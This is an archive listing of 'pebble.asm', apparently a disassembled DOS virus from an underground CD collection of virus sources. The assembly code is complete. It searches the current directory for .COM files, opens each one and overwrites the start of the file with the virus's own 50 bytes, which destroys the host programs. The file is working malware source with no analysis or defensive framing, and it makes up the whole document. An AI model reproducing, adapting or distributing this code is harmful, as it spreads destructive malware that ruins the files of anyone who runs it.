home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / p / pebble.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.5 KB  |  67 lines
  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    PEBBLE                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   21-Feb-92                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: none             ██
  18.  
  19. ;██                                         ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. data_0001e    equ    9Eh
  26.  
  27.  
  28.  
  29. seg_a        segment    byte public
  30.  
  31.         assume    cs:seg_a, ds:seg_a
  32.  
  33.  
  34.  
  35.  
  36.  
  37.         org    100h
  38.  
  39.  
  40.  
  41. pebble        proc    far
  42.  
  43.  
  44.  
  45. start:
  46.  
  47.         mov    ah,4Eh            ; 'N'
  48.  
  49.         mov    cx,27h
  50.  
  51.         mov    dx,12Ch
  52.  
  53. loc_0001:
  54.  
  55.         int    21h            ; DOS Services  ah=function 4Fh
  56.  
  57.                         ;  find next filename match
  58.  
  59.         jc    loc_0002        ; Jump if carry Set
  60.  
  61.         call    sub_0001
  62.  
  63.         mov    ah,4Fh            ; 'O'
  64.  
  65.         jmp    short loc_0001
  66.  
  67. loc_0002:
  68.  
  69.         int    20h            ; DOS program terminate
  70.  
  71.  
  72.  
  73. pebble        endp
  74.  
  75.  
  76.  
  77. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  78.  
  79. ;                   SUBROUTINE
  80.  
  81. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  82.  
  83.  
  84.  
  85. sub_0001    proc    near
  86.  
  87.         mov    ax,3D02h
  88.  
  89.         mov    dx,data_0001e
  90.  
  91.         int    21h            ; DOS Services  ah=function 3Dh
  92.  
  93.                         ;  open file, al=mode,name@ds:dx
  94.  
  95.         mov    ah,40h            ; '@'
  96.  
  97.         mov    cx,32h
  98.  
  99.         mov    dx,100h
  100.  
  101.         int    21h            ; DOS Services  ah=function 40h
  102.  
  103.                         ;  write file  bx=file handle
  104.  
  105.                         ;   cx=bytes from ds:dx buffer
  106.  
  107.         mov    ah,3Eh            ; '>'
  108.  
  109.         int    21h            ; DOS Services  ah=function 3Eh
  110.  
  111.                         ;  close file, bx=file handle
  112.  
  113.         retn
  114.  
  115. sub_0001    endp
  116.  
  117.  
  118.  
  119.         db     2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h
  120.  
  121.  
  122.  
  123. seg_a        ends
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.         end    start
  132.  
  133.